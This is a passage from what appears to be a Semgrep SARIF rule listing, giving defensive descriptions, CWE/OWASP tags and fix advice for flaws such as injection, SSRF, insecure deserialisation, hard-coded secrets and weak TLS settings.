KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","id":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","name":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"help":{"markdown":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins","id":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","name":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pins.ATS-CA-pins"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects potential Google Maps API keys in code"},"help":{"markdown":"Detects potential Google Maps API keys in code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak)\n - [https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e](https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e)\n","text":"Detects potential Google Maps API keys in code"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","id":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","name":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","properties":{"precision":"very-high","tags":["CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory","MEDIUM CONFIDENCE","OWASP-A3:2017 Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens)\n - [https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376](https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376)\n - [https://hackmd.io/@sentimentxyz/SJCySo1z2](https://hackmd.io/@sentimentxyz/SJCySo1z2)\n","text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","id":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","name":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","id":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","name":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"help":{"markdown":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n","text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","id":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","name":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"help":{"markdown":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag)\n - [https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug](https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug)\n - [https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page](https://stackoverflow.com/questions/2213977/django-debug-display-all-variables-of-a-page)\n","text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag","id":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","name":"python.django.security.audit.templates.debug-template-tag.debug-template-tag","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.templates.debug-template-tag.debug-template-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","id":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","name":"java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.system.system-setproperty-hardcoded-secret.system-setproperty-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC connection using 'grpc.WithInsecure()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","id":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","name":"go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-client-insecure-connection.grpc-client-insecure-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","id":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","name":"python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-connection-fastapi.sqlobject-connection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","id":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","name":"java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-msg.tainted-xpath-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"help":{"markdown":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Allowing spawning arbitrary programs or running shell processes with arbitrary arguments may end up in a command injection vulnerability. Try to avoid non-literal values for the command string. If it is not possible, then do not let running arbitrary commands, use a white list for inputs."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.detect-child-process.detect-child-process","id":"javascript.aws-lambda.security.detect-child-process.detect-child-process","name":"javascript.aws-lambda.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) PyYAML's `yaml` module is as powerful as `pickle` and so may call any Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","id":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","name":"python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pyyaml-pyramid.tainted-pyyaml-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.flask.db.peewee-flask.peewee-flask","id":"python.flask.db.peewee-flask.peewee-flask","name":"python.flask.db.peewee-flask.peewee-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.peewee-flask.peewee-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request](https://docs.guzzlephp.org/en/stable/quickstart.html#making-a-request)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","id":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","name":"php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-guzzle-client.tainted-url-to-guzzle-client"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message."},"help":{"markdown":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The target origin of the window.postMessage() API is set to \"*\". This could allow for information disclosure due to the possibility of any origin allowed to receive the 